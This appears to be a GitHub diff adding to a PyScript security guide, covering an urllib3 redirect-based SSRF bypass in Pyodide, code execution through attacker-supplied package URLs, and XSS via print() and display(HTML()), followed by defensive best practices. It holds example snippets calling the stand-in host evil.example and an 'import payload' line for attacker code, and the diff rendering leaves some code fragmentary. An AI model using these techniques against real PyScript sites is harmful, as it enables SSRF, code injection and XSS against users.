You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
### Server-Side Request Forgery via uncontrolled redirects (CVE-2025-50182)
188
+
189
+
`urllib3 < 2.5.0` ignores the `redirect` and `retries` parameters when it is executed **inside the Pyodide runtime** that ships with PyScript. When an attacker can influence target URLs, they may force the Python code to follow cross-domain redirects even when the developer explicitly disabled them ‑ effectively bypassing anti-SSRF logic.
190
+
191
+
```html
192
+
<scripttype="py">
193
+
import urllib3
194
+
http =urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
195
+
r =http.request("GET", "https://evil.example/302") # will STILL follow the 302
196
+
print(r.status, r.url)
197
+
</script>
198
+
```
199
+
200
+
Patched in `urllib3 2.5.0` – upgrade the package in your PyScript image or pin a safe version in `packages = ["urllib3>=2.5.0"]`. See the official CVE entry for details.
Since PyScript allows arbitrary URLs in the `packages` list, a malicious actor who can modify or inject configuration can execute **fully arbitrary Python** in the victim’s browser:
import payload # executes attacker-controlled code during installation
212
+
</script>
213
+
```
184
214
215
+
*Only pure-Python wheels are required – no WebAssembly compilation step is needed.* Make sure configuration is not user-controlled and host trusted wheels on your own domain with HTTPS & SRI hashes.
185
216
217
+
### Output sanitisation changes (2023+)
186
218
219
+
*`print()` still injects raw HTML and is therefore XSS-prone (examples above).
220
+
* The newer `display()` helper **escapes HTML by default** – raw markup must be wrapped in `pyscript.HTML()`.
221
+
222
+
```python
223
+
from pyscript import display, HTML
224
+
225
+
display("<b>escaped</b>") # renders literally
226
+
227
+
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
228
+
```
229
+
230
+
This behaviour was introduced in 2023 and is documented in the official Built-ins guide. Rely on `display()` for untrusted input and avoid calling `print()` directly.
231
+
232
+
---
233
+
234
+
## Defensive Best Practices
235
+
236
+
***Keep packages up to date** – upgrade to `urllib3 >= 2.5.0` and regularly rebuild wheels that ship with the site.
237
+
***Restrict package sources** – only reference PyPI names or same-origin URLs, ideally protected with Sub-resource Integrity (SRI).
238
+
***Harden Content Security Policy** – disallow inline JavaScript (`script-src 'self' 'sha256-…'`) so that injected `<script>` blocks cannot execute.
239
+
***Disallow user-supplied `<py-script>` / `<script type="py">` tags** – sanitise HTML on the server before echoing it back to other users.
240
+
***Isolate workers** – if you do not need synchronous access to the DOM from workers, enable the `sync_main_only` flag to avoid the `SharedArrayBuffer` header requirements.
0 commit comments